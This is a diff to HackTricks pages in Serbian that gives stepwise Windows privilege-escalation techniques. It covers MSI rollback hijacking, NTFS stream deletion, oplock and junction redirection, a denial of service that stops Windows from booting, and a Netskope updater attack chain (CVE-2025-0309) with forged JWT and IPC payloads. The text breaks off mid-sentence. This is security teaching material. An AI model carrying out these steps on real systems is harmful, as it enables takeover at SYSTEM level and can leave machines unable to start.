pročitajte ovo da biste naučili o UAC i UAC bypass-ima: +Zatim **pročitajte ovo da biste naučili o UAC i UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Od Arbitrary Folder Delete/Move/Rename do SYSTEM EoP -Tehnika opisana [**u ovom blog postu**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) sa exploit kodom [**dostupnim ovde**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Tehnika opisana u [**ovom blog postu**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) sa exploit kodom [**dostupnim ovde**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Napad se u suštini sastoji od zloupotrebe rollback funkcije Windows Installer-a da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadač mora da kreira **malicious MSI installer** koji će biti iskorišćen za hijack-ovanje `C:\Config.Msi` foldera, koji će kasnije Windows Installer koristiti za čuvanje rollback fajlova tokom deinstalacije drugih MSI paketa gde bi rollback fajlovi bili izmenjeni da sadrže maliciozni payload. +Napad u suštini se sastoji od zloupotrebe Windows Installer rollback funkcije da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadač treba da napravi **malicious MSI installer** koji će biti korišćen za hijack-ovanje `C:\Config.Msi` foldera, koji će kasnije Windows Installer koristiti za čuvanje rollback fajlova tokom deinstalacije drugih MSI paketa gde su rollback fajlovi izmenjeni da sadrže maliciozni payload. -Sumirana tehnika je sledeća: +Sažeta tehnika je sledeća: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. Faza 1 – Priprema za Hijack (ostavite `C:\Config.Msi` praznim) -- Step 1: Install the MSI -- Kreirajte `.msi` koji instalira bezopasan fajl (npr. `dummy.txt`) u direktorijum koji je upisiv (`TARGETDIR`). +- Korak 1: Install the MSI +- Napravite `.msi` koji instalira bezopasan fajl (npr. `dummy.txt`) u writable folder (`TARGETDIR`). - Obeležite installer kao **"UAC Compliant"**, tako da ga **non-admin user** može pokrenuti. -- Zadržite **handle** otvoren za fajl nakon instalacije. +- Ostavite otvoren **handle** prema fajlu nakon instalacije. -- Step 2: Begin Uninstall +- Korak 2: Begin Uninstall - Deinstalirajte isti `.msi`. -- Proces deinstalacije počinje da premješta fajlove u `C:\Config.Msi` i preimenuje ih u `.rbf` fajlove (rollback backup-ove). -- **Poll the open file handle** koristeći `GetFinalPathNameByHandle` da otkrijete kada fajl postane `C:\Config.Msi\.rbf`. +- Proces deinstalacije počinje da pomera fajlove u `C:\Config.Msi` i preimenuje ih u `.rbf` fajlove (rollback backup). +- **Poll-ujte otvoreni file handle** koristeći `GetFinalPathNameByHandle` da detektujete kada fajl postane `C:\Config.Msi\.rbf`. -- Step 3: Custom Syncing +- Korak 3: Custom Syncing - `.msi` uključuje **custom uninstall action (`SyncOnRbfWritten`)** koja: -- Signalizira kada je `.rbf` zapisan. +- Signalizira kada je `.rbf` napisan. - Zatim **čeka** na drugi event pre nego što nastavi deinstalaciju. -- Step 4: Block Deletion of `.rbf` +- Korak 4: Block Deletion of `.rbf` - Kada je signalirano, **otvorite `.rbf` fajl** bez `FILE_SHARE_DELETE` — ovo **sprečava njegovo brisanje**. - Zatim **signalizirajte nazad** kako bi deinstalacija mogla da se završi. -- Windows Installer ne uspeva da obriše `.rbf`, i pošto ne može da obriše sav sadržaj, **`C:\Config.Msi` nije uklonjen**. +- Windows Installer ne uspeva da obriše `.rbf`, i pošto ne može da obriše sav sadržaj, **`C:\Config.Msi` se ne uklanja**. -- Step 5: Manually Delete `.rbf` +- Korak 5: Manually Delete `.rbf` - Vi (napadač) ručno obrišete `.rbf` fajl. - Sada je **`C:\Config.Msi` prazan**, spreman za hijack. -> U ovom trenutku, **pokrenite ranjivost za proizvoljno brisanje foldera na nivou SYSTEM** da obrišete `C:\Config.Msi`. +> U ovom trenutku, **trigger the SYSTEM-level arbitrary folder delete vulnerability** da obrišete `C:\Config.Msi`. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. Faza 2 – Replacing Rollback Scripts with Malicious Ones -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Ponovo kreirajte `C:\Config.Msi` folder. -- Postavite **slabe DACLs** (npr. Everyone:F), i **zadržite otvoren handle** sa `WRITE_DAC`. +- Korak 6: Recreate `C:\Config.Msi` with Weak ACLs +- Ponovo kreirajte `C:\Config.Msi` folder sami. +- Postavite **slabe DACL-ove** (npr. Everyone:F), i **držite otvoren handle** sa `WRITE_DAC`. -- Step 7: Run Another Install +- Korak 7: Run Another Install - Instalirajte `.msi` ponovo, sa: -- `TARGETDIR`: upisiva lokacija. -- `ERROROUT`: promenljiva koja izaziva namerni failure. -- Ova instalacija će biti iskorišćena da ponovo pokrene **rollback**, koji čita `.rbs` i `.rbf`. +- `TARGETDIR`: writable lokacija. +- `ERROROUT`: varijabla koja izaziva prisilni failure. +- Ova instalacija će se koristiti da ponovo okine **rollback**, koji čita `.rbs` i `.rbf`. -- Step 8: Monitor for `.rbs` -- Koristite `ReadDirectoryChangesW` da nadgledate `C:\Config.Msi` dok se ne pojavi novi `.rbs`. +- Korak 8: Monitor for `.rbs` +- Koristite `ReadDirectoryChangesW` da nadgledate `C:\Config.Msi` dok se ne pojavi novo `.rbs`. - Zabeležite njegovo ime fajla. -- Step 9: Sync Before Rollback +- Korak 9: Sync Before Rollback - `.msi` sadrži **custom install action (`SyncBeforeRollback`)** koja: - Signalizira event kada je `.rbs` kreiran. - Zatim **čeka** pre nego što nastavi. -- Step 10: Reapply Weak ACL -- Nakon što primite event `*.rbs created`: +- Korak 10: Reapply Weak ACL +- Nakon što primite `*.rbs created` event: - Windows Installer **ponovo primenjuje jake ACL-ove** na `C:\Config.Msi`. - Ali pošto i dalje imate handle sa `WRITE_DAC`, možete ponovo **primeniti slabe ACL-ove**. -> ACLs se **primenjuju samo pri otvaranju handle-a**, tako da i dalje možete pisati u folder. +> ACL-ovi se **primenjuju samo pri otvaranju handle-a**, tako da i dalje možete pisati u folder. -- Step 11: Drop Fake `.rbs` and `.rbf` -- Overwritujte `.rbs` fajl lažnim rollback script-om koji govori Windows-u da: -- Restore-uje vaš `.rbf` fajl (maliciozni DLL) u **privilegovanoj lokaciji** (npr. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Postavi vaš lažni `.rbf` koji sadrži **maliciozni SYSTEM-level payload DLL**. +- Korak 11: Drop Fake `.rbs` and `.rbf` +- Overwrit-ajte `.rbs` fajl lažnom rollback skriptom koja kaže Windows-u da: +- Vrati vaš `.rbf` fajl (malicious DLL) u **privileged lokaciju** (npr. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Spustite vaš lažni `.rbf` koji sadrži **maliciozni SYSTEM-level payload DLL**. -- Step 12: Trigger the Rollback +- Korak 12: Trigger the Rollback - Signalizirajte sync event tako da installer nastavi. -- A **type 19 custom action (`ErrorOut`)** je konfigurisana da **namerno prekine instalaciju** u poznatoj tački. -- Ovo uzrokuje da **rollback počne**. +- Konfigurisana je **type 19 custom action (`ErrorOut`)** koja namerno prekida instalaciju u poznatoj tački. +- Ovo prouzrokuje početak **rollback-a**. -- Step 13: SYSTEM Installs Your DLL +- Korak 13: SYSTEM Installs Your DLL - Windows Installer: -- Čita vaš maliciozni `.rbs`. -- Kopira vaš `.rbf` DLL na ciljnu lokaciju. -- Sada imate svoj **maliciozni DLL u putanji koju učitava SYSTEM**. +- Čita vašu malicioznu `.rbs`. +- Kopira vaš `.rbf` DLL u ciljnu lokaciju. +- Sada imate **maliciozni DLL u putanji koju učitava SYSTEM**. - Final Step: Execute SYSTEM Code - Pokrenite pouzdan **auto-elevated binary** (npr. `osk.exe`) koji učitava DLL koji ste hijack-ovali. -- **Boom**: vaš kod se izvršava **kao SYSTEM**. +- **Bum**: vaš kod se izvršava **kao SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Od Arbitrary File Delete/Move/Rename do SYSTEM EoP -Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati **ceo folder** (npr. `C:\Config.Msi`). Ali šta ako vaša ranjivost dozvoljava samo **proizvoljno brisanje fajla**? +Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati **ceo folder** (npr. `C:\Config.Msi`). Ali šta ako vaša ranjivost dozvoljava samo **arbitrary file deletion**? -Možete iskoristiti **NTFS interne osobine**: svaki folder ima skriveni alternate data stream nazvan: +Možete iskoristiti **NTFS internals**: svaki folder ima skriveni alternate data stream koji se zove: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Ovaj stream čuva **index metadata** fascikle. +Ovaj stream čuva **indeks metapodatke** fascikle. -Dakle, ako **obrišete `::$INDEX_ALLOCATION` stream** fascikle, NTFS **uklanja celu fasciklu** iz fajl sistema. +Dakle, ako obrišete **`::$INDEX_ALLOCATION` stream** fascikle, NTFS **uklanja celu fasciklu** iz fajl sistema. -Možete to uraditi koristeći standardne file deletion APIs, kao što su: +Ovo možete uraditi koristeći standardne API-je za brisanje fajlova kao što su: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Iako pozivate *file* delete API, ono **briše samu fasciklu**. -### Od brisanja sadržaja foldera do SYSTEM EoP -Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih fajlova/foldera, ali ono **dozvoljava brisanje *sadržaja* foldera koji kontroliše napadač**? +### Od Folder Contents Delete do SYSTEM EoP +Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih fajlova/foldera, ali on **dozvoljava brisanje *sadržaja* foldera kojim upravlja napadač**? -1. Korak 1: Postavite mamac folder i fajl -- Kreirajte: `C:\temp\folder1` +1. Korak 1: Napravite mamac folder i fajl +- Napravite: `C:\temp\folder1` - Unutar njega: `C:\temp\folder1\file1.txt` 2. Korak 2: Postavite **oplock** na `file1.txt` -- **oplock** **pauzira izvršavanje** kada privilegovani proces pokuša da obriše `file1.txt`. +- Oplock **pauzira izvršavanje** kada privilegovani proces pokuša da obriše `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1475,13 +1482,13 @@ WaitForDeleteToTriggerOplock(); ``` 3. Korak 3: Pokrenite SYSTEM proces (npr. `SilentCleanup`) - Ovaj proces skenira foldere (npr. `%TEMP%`) i pokušava da obriše njihov sadržaj. -- Kada dođe do `file1.txt`, **oplock se aktivira** i predaje kontrolu vašem callback-u. +- Kada dostigne `file1.txt`, **oplock triggers** i prepušta kontrolu vašem callback-u. 4. Korak 4: Unutar oplock callback-a – preusmerite brisanje -- Opcija A: Premestite `file1.txt` na drugo mesto +- Opcija A: Premestite `file1.txt` negde drugde - Ovo prazni `folder1` bez prekidanja oplock-a. -- Ne brišite `file1.txt` direktno — to bi prerano oslobodilo oplock. +- Ne brišite `file1.txt` direktno — to bi prevremeno oslobodilo oplock. - Opcija B: Pretvorite `folder1` u **junction**: ```bash @@ -1493,68 +1500,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Ovo cilja NTFS internal stream koji čuva folder metapodatke — njegovo brisanje briše folder. +> Ovo cilja NTFS internal stream koji skladišti metapodatke foldera — brisanjem njega briše folder. -5. Korak 5: Otpuštanje oplock-a -- Proces SYSTEM nastavlja i pokušava da obriše `file1.txt`. -- Ali sada, zbog junction + symlink, on zapravo briše: +5. Korak 5: Otpustite oplock +- SYSTEM proces nastavlja i pokušava da obriše `file1.txt`. +- Ali sada, zbog junction + symlink, zapravo briše: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Rezultat**: `C:\Config.Msi` briše SYSTEM. +**Rezultat**: `C:\Config.Msi` is deleted by SYSTEM. -### Od kreiranja proizvoljnog foldera do trajnog DoS-a +### Od Arbitrary Folder Create do trajnog DoS -Iskoristite mehanizam koji vam omogućava da **kreirate proizvoljan folder kao SYSTEM/admin** — čak i ako **ne možete pisati fajlove** ili **postaviti slabe permisije**. +Iskoristite primitiv koji vam omogućava **create an arbitrary folder as SYSTEM/admin** — čak i ako **ne možete pisati fajlove** ili **postaviti slabe dozvole**. -Kreirajte **folder** (ne fajl) sa imenom **kritičnog Windows drivera**, npr.: +Kreirajte **direktorijum** (ne fajl) sa imenom **kritičnog Windows driver-a**, npr.: ``` C:\Windows\System32\cng.sys ``` -- Ovaj put obično odgovara kernel-mode drajveru `cng.sys`. -- Ako ga **unapred kreirate kao folder**, Windows ne uspeva da učita stvarni drajver pri pokretanju sistema. -- Zatim, Windows pokušava da učita `cng.sys` pri pokretanju sistema. -- Vidi folder, **ne uspeva da razreši stvarni drajver**, i **sistem se sruši ili zaustavi pokretanje**. -- Ne postoji **rezervni mehanizam**, i **nema oporavka** bez spoljnog uplitanja (npr. popravka pokretanja ili pristupa disku). +- Ovaj put obično odgovara kernel-mode driveru `cng.sys`. +- Ako ga **prethodno kreirate kao folder**, Windows ne uspe da učita stvarni driver pri pokretanju. +- Zatim, Windows pokuša da učita `cng.sys` tokom podizanja sistema. +- Vidi folder, **ne uspeva da pronađe stvarni driver**, i **sruši se ili zaustavi podizanje sistema**. +- Ne postoji **fallback**, i **nema oporavka** bez spoljne intervencije (npr. boot repair ili pristup disku). -## **Od procesa visokog integriteta do SYSTEM-a** +## **Od High Integrity do SYSTEM** ### **Novi servis** -Ako već imate proces visokog integriteta, **put do SYSTEM-a** može biti jednostavan samo **kreiranjem i pokretanjem novog servisa**: +Ako već pokrećete proces sa High Integrity, **put do SYSTEM** može biti lak — dovoljno je **kreirati i izvršiti novi servis**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Kada kreirate service binary, uverite se da je validan service ili da binary izvršava neophodne radnje dovoljno brzo, jer će biti ubijen posle 20s ako nije validan service. +> Kada pravite servisni binarni fajl, uverite se da je validan servis ili da binarni fajl izvršava neophodne akcije brzo, jer će biti ubijen za 20s ako nije validan servis. ### AlwaysInstallElevated -Iz High Integrity procesa možete pokušati da **enable the AlwaysInstallElevated registry entries** i **install** reverse shell koristeći _**.msi**_ wrapper.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +Iz High Integrity process-a možete pokušati da **omogućite AlwaysInstallElevated unose u registru** i **instalirate** reverse shell koristeći _**.msi**_ wrapper.\ +[Više informacija o ključevima registra koji su uključeni i kako instalirati _.msi_ paket ovde.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Možete** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**Možete** [**pronaći kod ovde**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Ako imate te token privilegije (verovatno ćete ih naći u već postojećem High Integrity procesu), bićete u mogućnosti da **open almost any process** (ne zaštićene procese) sa SeDebug privilegijom, **copy the token** procesa i kreirate **arbitrary process with that token**.\ -Obično se za ovu tehniku **izabere bilo koji proces koji radi kao SYSTEM sa svim token privilegijama** (_da, možete naći SYSTEM procese bez svih token privilegija_).\ -**Možete pronaći** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +Ako imate te token privilegije (verovatno ćete ih naći u procesu koji je već High Integrity), bićete u mogućnosti da **otvorite skoro bilo koji proces** (ne zaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\ +Kada se ova tehnika koristi, obično se **odabere bilo koji proces koji radi kao SYSTEM sa svim token privilegijama** (_da, možete naći SYSTEM procese bez svih token privilegija_).\ +**Možete pronaći** [**primer koda koji izvodi predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Ovu tehniku koristi meterpreter za eskalaciju u `getsystem`. Tehnika se sastoji u **kreiranju pipe-a i potom kreiranju/zloupotrebi service-a da piše u taj pipe**. Zatim, **server** koji je kreirao pipe koristeći **`SeImpersonate`** privilegiju će moći da **impersonirati token** pipe klijenta (servisa) i tako dobije SYSTEM privilegije.\ -Ako želite da [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -Ako želite da pročitate primer [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja pipe-a i zatim kreiranja/zloupotrebe servisa da upiše u tu pipe**. Zatim, **server** koji je kreirao pipe koristeći **`SeImpersonate`** privilegiju će moći da **preuzme token** klijenta pipe-a (servisa) i dobije SYSTEM privilegije.\ +Ako želite da [**saznate više o Named Pipes pročitajte ovo**](#named-pipe-client-impersonation).\ +Ako želite primer [**kako preći iz High Integrity u System koristeći Named Pipes pročitajte ovo**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Ako uspete da **hijack a dll** koji se **loaded** od strane **process** koji se izvršava kao **SYSTEM**, bićete u mogućnosti da izvršite proizvoljan kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija i, štaviše, znatno je **lakše postići iz high integrity procesa** jer će imati **write permissions** na folderima koji se koriste za učitavanje dll-ova.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +Ako uspete da **hijack a dll** koji se **učitava** od strane **procesa** koji radi kao **SYSTEM**, moći ćete da izvršite proizvoljni kod sa tim privilegijama. Dakle, Dll Hijacking je takođe koristan za ovu vrstu eskalacije privilegija, i, štaviše, mnogo je **lakše postići iz High Integrity process-a** jer će imati **write permissions** na folderima koji se koriste za učitavanje dll-ova.\ +**Možete** [**saznati više o Dll hijacking ovde**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1564,57 +1571,57 @@ Ako uspete da **hijack a dll** koji se **loaded** od strane **process** koji se ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Pročitajte:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Više pomoći [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Korisni alati -**Najbolji alat za pronalaženje Windows lokalnih vektora eskalacije privilegija:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Najbolji alat za pronalaženje Windows local privilege escalation vektora:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Proverava misconfigurations i sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detektovano.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Proverava neke moguće misconfigurations i prikuplja informacije (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Proverava misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstrahuje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane session informacije. Koristite -Thorough lokalno.**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Proverava za pogrešne konfiguracije i osetljive fajlove (**[**proverite ovde**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detektovano.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Proverava neke moguće pogrešne konfiguracije i prikuplja informacije (**[**proverite ovde**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Proverava za pogrešne konfiguracije**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstrahuje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP sačuvane informacije o sesijama. Koristite -Thorough lokalno.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstrahuje kredencijale iz Credential Manager-a. Detektovano.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray-uje prikupljene lozinke kroz domen**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Šalje prikupljene lozinke po domenu**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i man-in-the-middle alat.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna Windows privesc enumeracija**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Traži poznate privesc ranjivosti (ZASTARELO, zamenjeno sa Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potreban Admin rights)** +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna Windows enumeracija za privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Pretražuje poznate privesc ranjivosti (ZASTARELO, koristi se Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potrebna su Admin prava)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Traži poznate privesc ranjivosti (treba kompajlirati koristeći VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeriše host tražeći misconfigurations (više alat za prikupljanje informacija nego za privesc) (treba kompajlirati) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na github-u)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Pretražuje poznate privesc ranjivosti (mora se kompajlirati koristeći VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeriše host tražeći pogrešne konfiguracije (više alat za prikupljanje informacija nego privesc) (mora se kompajlirati) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na GitHub-u)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp-a u C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Proverava misconfigurations (izvršni fajl precompiled na github-u). Ne preporučuje se. Ne radi dobro na Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Proverava moguće misconfigurations (exe iz python-a). Ne preporučuje se. Ne radi dobro na Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Proverava za pogrešne konfiguracije (precompiled exe na GitHub-u). Ne preporučuje se. Ne radi dobro na Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Proverava moguće pogrešne konfiguracije (exe od python). Ne preporučuje se. Ne radi dobro na Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat napravljen na osnovu ovog posta (ne zahteva accesschk da bi radio ispravno ali ga može koristiti). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat napravljen na osnovu ovog posta (ne zahteva accesschk da bi ispravno radio, ali može da ga koristi). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje radne exploit-e (lokalni python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje radne exploit-e (lokalni python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje radne exploits-e (lokalni python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje radne exploits-e (lokalni python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Treba da kompajlirate projekat koristeći odgovarajuću verziju .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvinom hostu možete uraditi: +Morate kompajlirati projekat koristeći odgovarajuću verziju .NET-a ([pogledajte ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET-a na žrtvinom hostu možete uraditi: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Reference +## References - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..4746b5485 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Zloupotreba Enterprise Auto-Updaters i privilegisanog IPC-a (npr. Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Ova stranica generalizuje klasu Windows lokalnih lanaca za eskalaciju privilegija pronađenih u enterprise endpoint agentima i updaterima koji izlažu low‑friction IPC površinu i privilegovani tok ažuriranja. Reprezentativan primer je Netskope Client for Windows < R129 (CVE-2025-0309), gde korisnik sa niskim privilegijama može naterati enrollment na server pod kontrolom napadača i zatim isporučiti zlonamerni MSI koji servis pokrenut kao SYSTEM instalira. + +Ključne ideje koje možete ponovo iskoristiti protiv sličnih proizvoda: +- Zloupotrebite localhost IPC privilegisanog servisa da prisilite ponovni enrollment ili rekonfiguraciju na server napadača. +- Implementirajte vendorove update endpoint-e, dostavite lažni Trusted Root CA, i usmerite updater na zlonamerni „signed“ paket. +- Izbegnite slabe provere potpisivača (CN allow‑lists), opciona digest zastavice, i popustljiva MSI svojstva. +- Ako je IPC „encrypted“, izvedite key/IV iz world‑readable identifikatora mašine smeštenih u registry. +- Ako servis ograničava pozivaoce po image path/process name, injektujte u proces sa liste dozvoljenih ili spawn-ujte jedan u suspended stanju i bootstrap-ujte svoj DLL putem minimalnog patch-a thread‑contexta. + +--- +## 1) Prisiljavanje enrollmenta na server napadača preko localhost IPC-a + +Mnogi agenti dolaze sa user‑mode UI procesom koji komunicira sa SYSTEM servisom preko localhost TCP koristeći JSON. + +Primećeno u Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Tok eksploatacije: +1) Sastavite JWT enrollment token čiji claims kontrolišu backend host (npr. AddonUrl). Koristite alg=None tako da nije potreban potpis. +2) Pošaljite IPC poruku koja poziva provisioning command sa vašim JWT i tenant name: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) Servis počinje da upućuje zahteve vašem zlonamernom serveru za enrollment/config, npr.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- Ako je caller verification zasnovana na path/name‑based, pošaljite zahtev iz allow‑listed vendor binary (see §4). + +--- +## 2) Otmica update kanala da bi se pokrenuo kod kao SYSTEM + +Kada klijent razgovara sa vašim serverom, implementirajte očekivane endpoints i usmerite ga na attacker MSI. Tipičan redosled: + +1) /v2/config/org/clientconfig → Vratite JSON config sa veoma kratkim updater intervalom, npr.: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Vraća PEM CA сертификат. Servis ga instalira u Local Machine Trusted Root store. +3) /v2/checkupdate → Dostavi metapodatke koji upućuju na maliciozni MSI i lažnu verziju. + +Zaobilaženje uobičajenih provera viđenih u stvarnom svetu: +- Signer CN allow‑list: servis može samo proveravati da li Subject CN odgovara “netSkope Inc” ili “Netskope, Inc.”. Vaš rogue CA može izstaviti leaf sertifikat sa tim CN i potpisati MSI. +- CERT_DIGEST property: uključite benigni MSI property pod imenom CERT_DIGEST. Nema primene pri instalaciji. +- Optional digest enforcement: konfig flag (npr. check_msi_digest=false) onemogućava dodatnu kriptografsku validaciju. + +Rezultat: SYSTEM servis instalira vaš MSI iz +C:\ProgramData\Netskope\stAgent\data\*.msi +i izvršava proizvoljni kod kao NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +Od R127, Netskope je umotao IPC JSON u polje encryptData koje liči na Base64. Reverzno inženjerstvo je pokazalo AES sa ključem/IV izvedenim iz vrednosti u registry-ju koje su čitljive bilo kom korisniku: +- Key = 